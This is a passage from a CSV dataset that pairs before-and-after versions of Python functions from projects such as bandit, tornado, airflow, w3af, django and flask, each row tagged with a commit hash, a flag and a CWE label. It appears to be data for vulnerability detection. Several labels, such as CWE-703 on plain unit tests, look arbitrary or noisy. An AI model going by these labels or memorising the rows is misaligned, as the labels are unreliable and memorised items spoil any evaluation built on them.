                   'string-based query construction, without SQLALCHEMY use')

        # otherwise, if sqlalchemy is being used, mark it as INFO
        else:
            return(bandit.INFO, 'Possible SQL injection vector through'
                   ' string-based query construction')",UNKNOWN,PyCQA/bandit,dc4278c3cbfc0529e1b0c859b4ae41838adea5ec,"def hardcoded_sql_expressions(context):
    statement = context.statement['node']
    if isinstance(statement, ast.Assign):
        test_str = _ast_build_string(statement.value).lower()

    elif isinstance(statement, ast.Expr):
        test_str = """"
        if isinstance(statement.value, ast.Call):
            for arg in statement.value.args:
                test_str += _ast_build_string(arg).lower() + "" ""
    else:
        test_str = context.string_val.lower()

    if (
        (test_str.startswith('select ') and ' from ' in test_str) or
        test_str.startswith('insert into') or
        (test_str.startswith('update ') and ' set ' in test_str) or
        test_str.startswith('delete from ')
    ):
        # if sqlalchemy is not imported and it looks like they are using SQL
        # statements, mark it as a WARNING
        if not context.is_module_imported_like(""sqlalchemy""):
            return(bandit.WARN, 'Possible SQL injection vector through '
                   'string-based query construction, without SQLALCHEMY use')

        # otherwise, if sqlalchemy is being used, mark it as INFO
        else:
            return(bandit.INFO, 'Possible SQL injection vector through'
                   ' string-based query construction')"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/testing.py,0,"def gen_test(func=None, timeout=None):
    """"""Testing equivalent of ``@gen.coroutine``, to be applied to test methods.

    ``@gen.coroutine`` cannot be used on tests because the `.IOLoop` is not
    already running.  ``@gen_test`` should be applied to test methods
    on subclasses of `AsyncTestCase`.

    Example::

        class MyTest(AsyncHTTPTestCase):
            @gen_test
            def test_something(self):
                response = yield self.http_client.fetch(self.get_url('/'))

    By default, ``@gen_test`` times out after 5 seconds. The timeout may be
    overridden globally with the ``ASYNC_TEST_TIMEOUT`` environment variable,
    or for each test with the ``timeout`` keyword argument::

        class MyTest(AsyncHTTPTestCase):
            @gen_test(timeout=10)
            def test_something_slow(self):
                response = yield self.http_client.fetch(self.get_url('/'))

    Note that ``@gen_test`` is incompatible with `AsyncTestCase.stop`,
    `AsyncTestCase.wait`, and `AsyncHTTPTestCase.fetch`. Use ``yield
    self.http_client.fetch(self.get_url())`` as shown above instead.

    .. versionadded:: 3.1
       The ``timeout`` argument and ``ASYNC_TEST_TIMEOUT`` environment
       variable.

    .. versionchanged:: 4.0
       The wrapper now passes along ``*args, **kwargs`` so it can be used
       on functions with arguments.

    """"""
    if timeout is None:
        timeout = get_async_test_timeout()

    def wrap(f):
        # Stack up several decorators to allow us to access the generator
        # object itself.  In the innermost wrapper, we capture the generator
        # and save it in an attribute of self.  Next, we run the wrapped
        # function through @gen.coroutine.  Finally, the coroutine is
        # wrapped again to make it synchronous with run_sync.
        #
        # This is a good case study arguing for either some sort of
        # extensibility in the gen decorators or cancellation support.
        @functools.wraps(f)
        def pre_coroutine(self, *args, **kwargs):
            result = f(self, *args, **kwargs)
            if isinstance(result, GeneratorType) or iscoroutine(result):
                self._test_generator = result
            else:
                self._test_generator = None
            return result

        if iscoroutinefunction(f):
            coro = pre_coroutine
        else:
            coro = gen.coroutine(pre_coroutine)

        @functools.wraps(coro)
        def post_coroutine(self, *args, **kwargs):
            try:
                return self.io_loop.run_sync(
                    functools.partial(coro, self, *args, **kwargs),
                    timeout=timeout)
            except TimeoutError as e:
                # run_sync raises an error with an unhelpful traceback.
                # Throw it back into the generator or coroutine so the stack
                # trace is replaced by the point where the test is stopped.
                self._test_generator.throw(e)
                # In case the test contains an overly broad except clause,
                # we may get back here.  In this case re-raise the original
                # exception, which is better than nothing.
                raise
        return post_coroutine

    if func is not None:
        # Used like:
        #     @gen_test
        #     def f(self):
        #         pass
        return wrap(func)
    else:
        # Used like @gen_test(timeout=10)
        return wrap",CWE-Unknown,tornadoweb/tornado,a1abb710bdf996262ee8a40568a14370b39a0307,"def gen_test(func=None, timeout=None):
    """"""Testing equivalent of ``@gen.coroutine``, to be applied to test methods.

    ``@gen.coroutine`` cannot be used on tests because the `.IOLoop` is not
    already running.  ``@gen_test`` should be applied to test methods
    on subclasses of `AsyncTestCase`.

    Example::

        class MyTest(AsyncHTTPTestCase):
            @gen_test
            def test_something(self):
                response = yield gen.Task(self.fetch('/'))

    By default, ``@gen_test`` times out after 5 seconds. The timeout may be
    overridden globally with the ``ASYNC_TEST_TIMEOUT`` environment variable,
    or for each test with the ``timeout`` keyword argument::

        class MyTest(AsyncHTTPTestCase):
            @gen_test(timeout=10)
            def test_something_slow(self):
                response = yield gen.Task(self.fetch('/'))

    .. versionadded:: 3.1
       The ``timeout`` argument and ``ASYNC_TEST_TIMEOUT`` environment
       variable.

    .. versionchanged:: 4.0
       The wrapper now passes along ``*args, **kwargs`` so it can be used
       on functions with arguments.
    """"""
    if timeout is None:
        timeout = get_async_test_timeout()

    def wrap(f):
        # Stack up several decorators to allow us to access the generator
        # object itself.  In the innermost wrapper, we capture the generator
        # and save it in an attribute of self.  Next, we run the wrapped
        # function through @gen.coroutine.  Finally, the coroutine is
        # wrapped again to make it synchronous with run_sync.
        #
        # This is a good case study arguing for either some sort of
        # extensibility in the gen decorators or cancellation support.
        @functools.wraps(f)
        def pre_coroutine(self, *args, **kwargs):
            result = f(self, *args, **kwargs)
            if isinstance(result, GeneratorType) or iscoroutine(result):
                self._test_generator = result
            else:
                self._test_generator = None
            return result

        if iscoroutinefunction(f):
            coro = pre_coroutine
        else:
            coro = gen.coroutine(pre_coroutine)

        @functools.wraps(coro)
        def post_coroutine(self, *args, **kwargs):
            try:
                return self.io_loop.run_sync(
                    functools.partial(coro, self, *args, **kwargs),
                    timeout=timeout)
            except TimeoutError as e:
                # run_sync raises an error with an unhelpful traceback.
                # Throw it back into the generator or coroutine so the stack
                # trace is replaced by the point where the test is stopped.
                self._test_generator.throw(e)
                # In case the test contains an overly broad except clause,
                # we may get back here.  In this case re-raise the original
                # exception, which is better than nothing.
                raise
        return post_coroutine

    if func is not None:
        # Used like:
        #     @gen_test
        #     def f(self):
        #         pass
        return wrap(func)
    else:
        # Used like @gen_test(timeout=10)
        return wrap"
,UNKNOWN,UNKNOWN,providers/trino/tests/unit/trino/hooks/test_trino.py,1,"def test_execute_openlineage_events():
    DB_NAME = ""tpch""
    DB_SCHEMA_NAME = ""sf1""

    class TrinoHookForTests(TrinoHook):
        get_conn = mock.MagicMock(name=""conn"")
        get_connection = mock.MagicMock()

        def get_first(self, *_):
            return [f""{DB_NAME}.{DB_SCHEMA_NAME}""]

    dbapi_hook = TrinoHookForTests()

    sql = ""SELECT name FROM tpch.sf1.customer LIMIT 3""
    op = SQLExecuteQueryOperator(task_id=""trino_test"", sql=sql, conn_id=TRINO_DEFAULT)
    op._hook = dbapi_hook
    rows = [
        (DB_SCHEMA_NAME, ""customer"", ""custkey"", 1, ""bigint"", DB_NAME),
        (DB_SCHEMA_NAME, ""customer"", ""name"", 2, ""varchar(25)"", DB_NAME),
        (DB_SCHEMA_NAME, ""customer"", ""address"", 3, ""varchar(40)"", DB_NAME),
        (DB_SCHEMA_NAME, ""customer"", ""nationkey"", 4, ""bigint"", DB_NAME),
        (DB_SCHEMA_NAME, ""customer"", ""phone"", 5, ""varchar(15)"", DB_NAME),
        (DB_SCHEMA_NAME, ""customer"", ""acctbal"", 6, ""double"", DB_NAME),
    ]
    dbapi_hook.get_connection.return_value = Connection(
        conn_id=TRINO_DEFAULT,
        conn_type=""trino"",
        host=""trino"",
        port=8080,
    )
    dbapi_hook.get_conn.return_value.cursor.return_value.fetchall.side_effect = [rows, []]

    lineage = op.get_openlineage_facets_on_start()
    assert lineage.inputs == [
        Dataset(
            namespace=""trino://trino:8080"",
            name=f""{DB_NAME}.{DB_SCHEMA_NAME}.customer"",
            facets={
                ""schema"": SchemaDatasetFacet(
                    fields=[
                        SchemaDatasetFacetFields(name=""custkey"", type=""bigint""),
                        SchemaDatasetFacetFields(name=""name"", type=""varchar(25)""),
                        SchemaDatasetFacetFields(name=""address"", type=""varchar(40)""),
                        SchemaDatasetFacetFields(name=""nationkey"", type=""bigint""),
                        SchemaDatasetFacetFields(name=""phone"", type=""varchar(15)""),
                        SchemaDatasetFacetFields(name=""acctbal"", type=""double""),
                    ]
                )
            },
        )
    ]",CWE-703,apache/airflow,39a373cc841eecf1ea9b4885539394d93ca6eb60,"def test_execute_openlineage_events():
    DB_NAME = ""tpch""
    DB_SCHEMA_NAME = ""sf1""

    class TrinoHookForTests(TrinoHook):
        get_conn = mock.MagicMock(name=""conn"")
        get_connection = mock.MagicMock()

        def get_first(self, *_):
            return [f""{DB_NAME}.{DB_SCHEMA_NAME}""]

    dbapi_hook = TrinoHookForTests()

    sql = ""SELECT name FROM tpch.sf1.customer LIMIT 3""
    op = SQLExecuteQueryOperator(task_id=""trino_test"", sql=sql, conn_id=TRINO_DEFAULT)
    op._hook = dbapi_hook
    rows = [
        (DB_SCHEMA_NAME, ""customer"", ""custkey"", 1, ""bigint"", DB_NAME),
        (DB_SCHEMA_NAME, ""customer"", ""name"", 2, ""varchar(25)"", DB_NAME),
        (DB_SCHEMA_NAME, ""customer"", ""address"", 3, ""varchar(40)"", DB_NAME),
        (DB_SCHEMA_NAME, ""customer"", ""nationkey"", 4, ""bigint"", DB_NAME),
        (DB_SCHEMA_NAME, ""customer"", ""phone"", 5, ""varchar(15)"", DB_NAME),
        (DB_SCHEMA_NAME, ""customer"", ""acctbal"", 6, ""double"", DB_NAME),
    ]
    dbapi_hook.get_connection.return_value = Connection(
        conn_id=TRINO_DEFAULT,
        conn_type=""trino"",
        host=""trino"",
        port=8080,
    )
    dbapi_hook.get_conn.return_value.cursor.return_value.fetchall.side_effect = [rows, []]

    lineage = op.get_openlineage_facets_on_start()
    assert lineage.inputs == [
        Dataset(
            namespace=""trino://trino:8080"",
            name=f""{DB_NAME}.{DB_SCHEMA_NAME}.customer"",
            facets={
                ""schema"": SchemaDatasetFacet(
                    fields=[
                        SchemaDatasetFacetFields(name=""custkey"", type=""bigint""),
                        SchemaDatasetFacetFields(name=""name"", type=""varchar(25)""),
                        SchemaDatasetFacetFields(name=""address"", type=""varchar(40)""),
                        SchemaDatasetFacetFields(name=""nationkey"", type=""bigint""),
                        SchemaDatasetFacetFields(name=""phone"", type=""varchar(15)""),
                        SchemaDatasetFacetFields(name=""acctbal"", type=""double""),
                    ]
                )
            },
        )
    ]"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/grep/ajax.py,0,"def grep(self, request, response):
        '''
        Plugin entry point.

        @param request: The HTTP request object.
        @param response: The HTTP response object
        @return: None, all results are saved in the kb.
        '''
        url = response.get_url()
        if response.is_text_or_html() and url not in self._already_inspected:

            # Don't repeat URLs
            self._already_inspected.add(url)

            dom = response.get_dom()
            # In some strange cases, we fail to normalize the document
            if dom is None:
                return
            
            script_elements = self._script_xpath(dom)
            for element in script_elements:
                # returns the text between <script> and </script>
                script_content = element.text

                if script_content is not None:

                    res = self._ajax_regex_re.search(script_content)
                    if res:
                        desc = 'The URL: ""%s"" has AJAX code.' % url
                        i = Info('AJAX code', desc, response.id,
                                 self.get_name())
                        i.set_url(url)
                        i.add_to_highlight(res.group(0))
                        
                        self.kb_append_uniq(self, 'ajax', i, 'URL')",,andresriancho/w3af,85fd739c87de52a31f8c9c71fb4c77ba1107745b,"def grep(self, request, response):
        '''
        Plugin entry point.

        @param request: The HTTP request object.
        @param response: The HTTP response object
        @return: None, all results are saved in the kb.
        '''
        url = response.get_url()
        if response.is_text_or_html() and url not in self._already_inspected:

            # Don't repeat URLs
            self._already_inspected.add(url)

            dom = response.get_dom()
            # In some strange cases, we fail to normalize the document
            if dom is None:
                return
            
            script_elements = self._script_xpath(dom)
            for element in script_elements:
                # returns the text between <script> and </script>
                script_content = element.text

                if script_content is not None:

                    res = self._ajax_regex_re.search(script_content)
                    if res:
                        desc = 'The URL: ""%s"" has an AJAX code.' % url
                        i = Info('AJAX code', desc, response.id,
                                 self.get_name())
                        i.set_url(url)
                        i.add_to_highlight(res.group(0))
                        
                        kb.kb.append(self, 'ajax', i)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/regressiontests/multiple_database/tests.py,0,"def test_subquery(self):
        """"""Make sure as_sql works with subqueries and master/slave.""""""
        sub = Person.objects.using('other').filter(name='fff')
        qs = Book.objects.filter(editor__in=sub)

        # When you call __str__ on the query object, it doesn't know about using
        # so it falls back to the default. If the subquery explicitly uses a
        # different database, an error should be raised.
        self.assertRaises(ValueError, str, qs.query)

        # Evaluating the query shouldn't work, either
        try:
            for obj in qs:
                pass
            self.fail('Iterating over query should raise ValueError')
        except ValueError:
            pass",CWE-Unknown,django/django,8a724802c5b3b8d4f8d51bcf276838bf0f4ba176,"def test_subquery(self):
        """"""Make sure as_sql works with subqueries and master/slave.""""""
        sub = Person.objects.using('other').filter(name='fff')
        qs = Book.objects.filter(editor__in=sub)

        # When you call __str__ on the query object, it doesn't know about using
        # so it falls back to the default. If the subquery explicitly uses a
        # different database, an error should be raised.
        self.assertRaises(ValueError, str, qs.query)

        # Evaluating the query shouldn't work, either
        try:
            for obj in qs:
                pass
            self.fail('Iterating over query should raise ValueError')
        except ValueError:
            pass"
,UNKNOWN,UNKNOWN,tests/test_cli.py,1,"def test_find_best_app(test_apps):
    script_info = ScriptInfo()

    class Module:
        app = Flask(""appname"")

    assert find_best_app(script_info, Module) == Module.app

    class Module:
        application = Flask(""appname"")

    assert find_best_app(script_info, Module) == Module.application

    class Module:
        myapp = Flask(""appname"")

    assert find_best_app(script_info, Module) == Module.myapp

    class Module:
        @staticmethod
        def create_app():
            return Flask(""appname"")

    app = find_best_app(script_info, Module)
    assert isinstance(app, Flask)
    assert app.name == ""appname""

    class Module:
        @staticmethod
        def create_app(**kwargs):
            return Flask(""appname"")

    app = find_best_app(script_info, Module)
    assert isinstance(app, Flask)
    assert app.name == ""appname""

    class Module:
        @staticmethod
        def create_app(foo):
            return Flask(""appname"")

    with pytest.deprecated_call(match=""Script info""):
        app = find_best_app(script_info, Module)

    assert isinstance(app, Flask)
    assert app.name == ""appname""

    class Module:
        @staticmethod
        def create_app(foo=None, script_info=None):
            return Flask(""appname"")

    with pytest.deprecated_call(match=""script_info""):
        app = find_best_app(script_info, Module)

    assert isinstance(app, Flask)
    assert app.name == ""appname""

    class Module:
        @staticmethod
        def make_app():
            return Flask(""appname"")

    app = find_best_app(script_info, Module)
    assert isinstance(app, Flask)
    assert app.name == ""appname""

    class Module:
        myapp = Flask(""appname1"")

        @staticmethod
        def create_app():
            return Flask(""appname2"")

    assert find_best_app(script_info, Module) == Module.myapp

    class Module:
        myapp = Flask(""appname1"")

        @staticmethod
        def create_app():
            return Flask(""appname2"")

    assert find_best_app(script_info, Module) == Module.myapp

    class Module:
        pass

    pytest.raises(NoAppException, find_best_app, script_info, Module)

    class Module:
        myapp1 = Flask(""appname1"")
        myapp2 = Flask(""appname2"")

    pytest.raises(NoAppException, find_best_app, script_info, Module)

    class Module:
        @staticmethod
        def create_app(foo, bar):
            return Flask(""appname2"")

    pytest.raises(NoAppException, find_best_app, script_info, Module)

    class Module:
        @staticmethod
        def create_app():
            raise TypeError(""bad bad factory!"")

    pytest.raises(TypeError, find_best_app, script_info, Module)",CWE-703,pallets/flask,ef3a82a2820082f7d9f2ca963c9dff7eb1ea9687,"def test_find_best_app(test_apps):
    script_info = ScriptInfo()

    class Module:
        app = Flask(""appname"")

    assert find_best_app(script_info, Module) == Module.app

    class Module:
        application = Flask(""appname"")

    assert find_best_app(script_info, Module) == Module.application

    class Module:
        myapp = Flask(""appname"")

    assert find_best_app(script_info, Module) == Module.myapp

    class Module:
        @staticmethod
        def create_app():
            return Flask(""appname"")

    app = find_best_app(script_info, Module)
    assert isinstance(app, Flask)
    assert app.name == ""appname""

    class Module:
        @staticmethod
        def create_app(foo):
            return Flask(""appname"")

    with pytest.deprecated_call(match=""Script info""):
        app = find_best_app(script_info, Module)

    assert isinstance(app, Flask)
    assert app.name == ""appname""

    class Module:
        @staticmethod
        def create_app(foo=None, script_info=None):
            return Flask(""appname"")

    with pytest.deprecated_call(match=""script_info""):
        app = find_best_app(script_info, Module)

    assert isinstance(app, Flask)
    assert app.name == ""appname""

    class Module:
        @staticmethod
        def make_app():
            return Flask(""appname"")

    app = find_best_app(script_info, Module)
    assert isinstance(app, Flask)
    assert app.name == ""appname""

    class Module:
        myapp = Flask(""appname1"")

        @staticmethod
        def create_app():
            return Flask(""appname2"")

    assert find_best_app(script_info, Module) == Module.myapp

    class Module:
        myapp = Flask(""appname1"")

        @staticmethod
        def create_app():
            return Flask(""appname2"")

    assert find_best_app(script_info, Module) == Module.myapp

    class Module:
        pass

    pytest.raises(NoAppException, find_best_app, script_info, Module)

    class Module:
        myapp1 = Flask(""appname1"")
        myapp2 = Flask(""appname2"")

    pytest.raises(NoAppException, find_best_app, script_info, Module)

    class Module:
        @staticmethod
        def create_app(foo, bar):
            return Flask(""appname2"")

    pytest.raises(NoAppException, find_best_app, script_info, Module)

    class Module:
        @staticmethod
        def create_app():
            raise TypeError(""bad bad factory!"")

    pytest.raises(TypeError, find_best_app, script_info, Module)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/runner/lookup_plugins/together.py,0,"def __lookup_injects(self, terms, inject):
        results = []
        for x in terms:
            intermediate = utils.listify_lookup_plugin_terms(x, self.basedir, inject)
            results.append(intermediate)
        return results",,ansible/ansible,a7adc8ef4dd0f6c31b6d36c06a96241d8bf0fef5,"def __lookup_injects(self, terms, inject):
        results = []
        for x in terms:
            if isinstance(x, basestring) and x in inject:
                results.append(inject[x])
            else:
                results.append(x)
        return results"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/audit/dav.py,0,"def _SEARCH( self, domain_path ):
        '''
        Test SEARCH method.
        '''
        content = ""<?xml version='1.0'?>\r\n""
        content += ""<g:searchrequest xmlns:g='DAV:'>\r\n""
        content += ""<g:sql>\r\n""
        content += ""Select 'DAV:displayname' from scope()\r\n""
        content += ""</g:sql>\r\n""
        content += ""</g:searchrequest>\r\n""

        res = self._urlOpener.SEARCH( domain_path , data=content )
        
        content_matches =  '<a:response>' in res or '<a:status>' in res or 'xmlns:a=""DAV:""' in res
        
        if content_matches and res.getCode() in xrange(200, 300):
            v = vuln.vuln()
            v.setURL( res.getURL() )
            v.setId( res.id )
            v.setSeverity(severity.MEDIUM)
            v.setName( 'Insecure DAV configuration' )
            v.setMethod( 'SEARCH' )
            msg = 'Directory listing with HTTP SEARCH method was found at directory: ""'
            msg += domain_path + '""'
            v.setDesc( msg )
            kb.kb.append( self, 'dav', v )",,andresriancho/w3af,21868487e9f786c8afa1ffd4f1ed2e3bf641a780,"def _SEARCH( self, domain_path ):
        '''
        Test SEARCH method.
        '''
        content = ""<?xml version='1.0'?>\r\n""
        content += ""<g:searchrequest xmlns:g='DAV:'>\r\n""
        content += ""<g:sql>\r\n""
        content += ""Select 'DAV:displayname' from scope()\r\n""
        content += ""</g:sql>\r\n""
        content += ""</g:searchrequest>\r\n""

        res = self._urlOpener.SEARCH( domain_path , data=content )
        # Remember that httpResponse objects have a faster ""__in__"" than
        # the one in strings; so string in response.getBody() is slower than
        # string in response        
        if ""DAV:"" in res and res.getCode() in xrange(200, 300):
            v = vuln.vuln()
            v.setURL( res.getURL() )
            v.setId( res.id )
            v.setSeverity(severity.MEDIUM)
            v.setName( 'Insecure DAV configuration' )
            v.setMethod( 'SEARCH' )
            msg = 'Directory listing with HTTP SEARCH method was found at directory: ""'
            msg += domain_path + '""'
            v.setDesc( msg )
            kb.kb.append( self, 'dav', v )"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,core/ui/consoleUi/tests/test_basic.py,0,"def test_menu_plugin_desc(self):
        commands_to_run = ['plugins',
                           'infrastructure desc zone_h',
                           'back', 
                           'exit']
        
        expected = ('This plugin searches the zone-h.org',
                    'result. The information stored in',
                    'previous defacements to the target website.')
        
        console = consoleUi(commands=commands_to_run, do_upd=False)
        console.sh()
        
        self.assertTrue( self.startswith_expected_in_output(expected), 
                         self._mock_stdout.messages )",,andresriancho/w3af,8f89681e3a6825c6be5da171cdb6b9256468fb91,"def test_menu_plugin_desc(self):
        commands_to_run = ['plugins',
                           'infrastructure desc zone_h',
                           'back', 
                           'exit']
        
        expected = ('This plugin searches the zone-h.org',
                    'result. The information stored in',
                    'previous defacements to the target website.')
        
        console = consoleUi(commands=commands_to_run, do_upd=False)
        console.sh()
        
        self.assertTrue( self.startswith_expected_in_output(expected), 
                         self._mock_stdout.messages )"
,UNKNOWN,UNKNOWN,tests/api_fastapi/core_api/routes/public/test_variables.py,1,"def test_should_respond_200(
        self, session, test_client, query_params, expected_total_entries, expected_keys
    ):
        self.create_variables()
        response = test_client.get(""/public/variables"", params=query_params)

        assert response.status_code == 200
        body = response.json()
        assert body[""total_entries""] == expected_total_entries
        assert [variable[""key""] for variable in body[""variables""]] == expected_keys",CWE-703,apache/airflow,cba9f7a22ecae0fc65e2d6726e2e0ca9d02de168,"def test_should_respond_200(
        self, session, test_client, query_params, expected_total_entries, expected_keys
    ):
        self.create_variables()
        response = test_client.get(""/public/variables/"", params=query_params)

        assert response.status_code == 200
        body = response.json()
        assert body[""total_entries""] == expected_total_entries
        assert [variable[""key""] for variable in body[""variables""]] == expected_keys"
,UNKNOWN,UNKNOWN,tests/template_tests/tests.py,1,"def get_template_tests(self):
        # SYNTAX --
        # 'template_name': ('template contents', 'context dict', 'expected string output' or Exception class)
        basedir = os.path.dirname(os.path.abspath(upath(__file__)))
        tests = {
            ### BASIC SYNTAX ################################################

            # Plain text should go through the template parser untouched
            'basic-syntax01': (""something cool"", {}, ""something cool""),

            # Variables should be replaced with their value in the current
            # context
            'basic-syntax02': (""{{ headline }}"", {'headline':'Success'}, ""Success""),

            # More than one replacement variable is allowed in a template
            'basic-syntax03': (""{{ first }} --- {{ second }}"", {""first"" : 1, ""second"" : 2}, ""1 --- 2""),

            # Fail silently when a variable is not found in the current context
            'basic-syntax04': (""as{{ missing }}df"", {}, (""asdf"",""asINVALIDdf"")),

            # A variable may not contain more than one word
            'basic-syntax06': (""{{ multi word variable }}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError for empty variable tags
            'basic-syntax07': (""{{ }}"",        {}, template.TemplateSyntaxError),
            'basic-syntax08': (""{{        }}"", {}, template.TemplateSyntaxError),

            # Attribute syntax allows a template to call an object's attribute
            'basic-syntax09': (""{{ var.method }}"", {""var"": SomeClass()}, ""SomeClass.method""),

            # Multiple levels of attribute access are allowed
            'basic-syntax10': (""{{ var.otherclass.method }}"", {""var"": SomeClass()}, ""OtherClass.method""),

            # Fail silently when a variable's attribute isn't found
            'basic-syntax11': (""{{ var.blech }}"", {""var"": SomeClass()}, ("""",""INVALID"")),

            # Raise TemplateSyntaxError when trying to access a variable beginning with an underscore
            'basic-syntax12': (""{{ var.__dict__ }}"", {""var"": SomeClass()}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError when trying to access a variable containing an illegal character
            'basic-syntax13': (""{{ va>r }}"", {}, template.TemplateSyntaxError),
            'basic-syntax14': (""{{ (var.r) }}"", {}, template.TemplateSyntaxError),
            'basic-syntax15': (""{{ sp%am }}"", {}, template.TemplateSyntaxError),
            'basic-syntax16': (""{{ eggs! }}"", {}, template.TemplateSyntaxError),
            'basic-syntax17': (""{{ moo? }}"", {}, template.TemplateSyntaxError),

            # Attribute syntax allows a template to call a dictionary key's value
            'basic-syntax18': (""{{ foo.bar }}"", {""foo"" : {""bar"" : ""baz""}}, ""baz""),

            # Fail silently when a variable's dictionary key isn't found
            'basic-syntax19': (""{{ foo.spam }}"", {""foo"" : {""bar"" : ""baz""}}, ("""",""INVALID"")),

            # Fail silently when accessing a non-simple method
            'basic-syntax20': (""{{ var.method2 }}"", {""var"": SomeClass()}, ("""",""INVALID"")),

            # Don't get confused when parsing something that is almost, but not
            # quite, a template tag.
            'basic-syntax21': (""a {{ moo %} b"", {}, ""a {{ moo %} b""),
            'basic-syntax22': (""{{ moo #}"", {}, ""{{ moo #}""),

            # Will try to treat ""moo #} {{ cow"" as the variable. Not ideal, but
            # costly to work around, so this triggers an error.
            'basic-syntax23': (""{{ moo #} {{ cow }}"", {""cow"": ""cow""}, template.TemplateSyntaxError),

            # Embedded newlines make it not-a-tag.
            'basic-syntax24': (""{{ moo\n }}"", {}, ""{{ moo\n }}""),

            # Literal strings are permitted inside variables, mostly for i18n
            # purposes.
            'basic-syntax25': ('{{ ""fred"" }}', {}, ""fred""),
            'basic-syntax26': (r'{{ ""\""fred\"""" }}', {}, ""\""fred\""""),
            'basic-syntax27': (r'{{ _(""\""fred\"""") }}', {}, ""\""fred\""""),

            # regression test for ticket #12554
            # make sure a silent_variable_failure Exception is supressed
            # on dictionary and attribute lookup
            'basic-syntax28': (""{{ a.b }}"", {'a': SilentGetItemClass()}, ('', 'INVALID')),
            'basic-syntax29': (""{{ a.b }}"", {'a': SilentAttrClass()}, ('', 'INVALID')),

            # Something that starts like a number but has an extra lookup works as a lookup.
            'basic-syntax30': (""{{ 1.2.3 }}"", {""1"": {""2"": {""3"": ""d""}}}, ""d""),
            'basic-syntax31': (""{{ 1.2.3 }}"", {""1"": {""2"": (""a"", ""b"", ""c"", ""d"")}}, ""d""),
            'basic-syntax32': (""{{ 1.2.3 }}"", {""1"": ((""x"", ""x"", ""x"", ""x""), (""y"", ""y"", ""y"", ""y""), (""a"", ""b"", ""c"", ""d""))}, ""d""),
            'basic-syntax33': (""{{ 1.2.3 }}"", {""1"": (""xxxx"", ""yyyy"", ""abcd"")}, ""d""),
            'basic-syntax34': (""{{ 1.2.3 }}"", {""1"": ({""x"": ""x""}, {""y"": ""y""}, {""z"": ""z"", ""3"": ""d""})}, ""d""),

            # Numbers are numbers even if their digits are in the context.
            'basic-syntax35': (""{{ 1 }}"", {""1"": ""abc""}, ""1""),
            'basic-syntax36': (""{{ 1.2 }}"", {""1"": ""abc""}, ""1.2""),

            # Call methods in the top level of the context
            'basic-syntax37': ('{{ callable }}', {""callable"": lambda: ""foo bar""}, ""foo bar""),

            # Call methods returned from dictionary lookups
            'basic-syntax38': ('{{ var.callable }}', {""var"": {""callable"": lambda: ""foo bar""}}, ""foo bar""),

            'builtins01': ('{{ True }}', {}, ""True""),
            'builtins02': ('{{ False }}', {}, ""False""),
            'builtins03': ('{{ None }}', {}, ""None""),

            # List-index syntax allows a template to access a certain item of a subscriptable object.
            'list-index01': (""{{ var.1 }}"", {""var"": [""first item"", ""second item""]}, ""second item""),

            # Fail silently when the list index is out of range.
            'list-index02': (""{{ var.5 }}"", {""var"": [""first item"", ""second item""]}, ("""", ""INVALID"")),

            # Fail silently when the variable is not a subscriptable object.
            'list-index03': (""{{ var.1 }}"", {""var"": None}, ("""", ""INVALID"")),

            # Fail silently when variable is a dict without the specified key.
            'list-index04': (""{{ var.1 }}"", {""var"": {}}, ("""", ""INVALID"")),

            # Dictionary lookup wins out when dict's key is a string.
            'list-index05': (""{{ var.1 }}"", {""var"": {'1': ""hello""}}, ""hello""),

            # But list-index lookup wins out when dict's key is an int, which
            # behind the scenes is really a dictionary lookup (for a dict)
            # after converting the key to an int.
            'list-index06': (""{{ var.1 }}"", {""var"": {1: ""hello""}}, ""hello""),

            # Dictionary lookup wins out when there is a string and int version of the key.
            'list-index07': (""{{ var.1 }}"", {""var"": {'1': ""hello"", 1: ""world""}}, ""hello""),

            # Basic filter usage
            'filter-syntax01': (""{{ var|upper }}"", {""var"": ""Django is the greatest!""}, ""DJANGO IS THE GREATEST!""),

            # Chained filters
            'filter-syntax02': (""{{ var|upper|lower }}"", {""var"": ""Django is the greatest!""}, ""django is the greatest!""),

            # Allow spaces before the filter pipe
            'filter-syntax03': (""{{ var |upper }}"", {""var"": ""Django is the greatest!""}, ""DJANGO IS THE GREATEST!""),

            # Allow spaces after the filter pipe
            'filter-syntax04': (""{{ var| upper }}"", {""var"": ""Django is the greatest!""}, ""DJANGO IS THE GREATEST!""),

            # Raise TemplateSyntaxError for a nonexistent filter
            'filter-syntax05': (""{{ var|does_not_exist }}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError when trying to access a filter containing an illegal character
            'filter-syntax06': (""{{ var|fil(ter) }}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError for invalid block tags
            'filter-syntax07': (""{% nothing_to_see_here %}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError for empty block tags
            'filter-syntax08': (""{% %}"", {}, template.TemplateSyntaxError),

            # Chained filters, with an argument to the first one
            'filter-syntax09': ('{{ var|removetags:""b i""|upper|lower }}', {""var"": ""<b><i>Yes</i></b>""}, ""yes""),

            # Literal string as argument is always ""safe"" from auto-escaping..
            'filter-syntax10': (r'{{ var|default_if_none:"" endquote\"" hah"" }}',
                    {""var"": None}, ' endquote"" hah'),

            # Variable as argument
            'filter-syntax11': (r'{{ var|default_if_none:var2 }}', {""var"": None, ""var2"": ""happy""}, 'happy'),

            # Default argument testing
            'filter-syntax12': (r'{{ var|yesno:""yup,nup,mup"" }} {{ var|yesno }}', {""var"": True}, 'yup yes'),

            # Fail silently for methods that raise an exception with a
            # ""silent_variable_failure"" attribute
            'filter-syntax13': (r'1{{ var.method3 }}2', {""var"": SomeClass()}, (""12"", ""1INVALID2"")),

            # In methods that raise an exception without a
            # ""silent_variable_attribute"" set to True, the exception propagates
            'filter-syntax14': (r'1{{ var.method4 }}2', {""var"": SomeClass()}, (SomeOtherException, SomeOtherException)),

            # Escaped backslash in argument
            'filter-syntax15': (r'{{ var|default_if_none:""foo\bar"" }}', {""var"": None}, r'foo\bar'),

            # Escaped backslash using known escape char
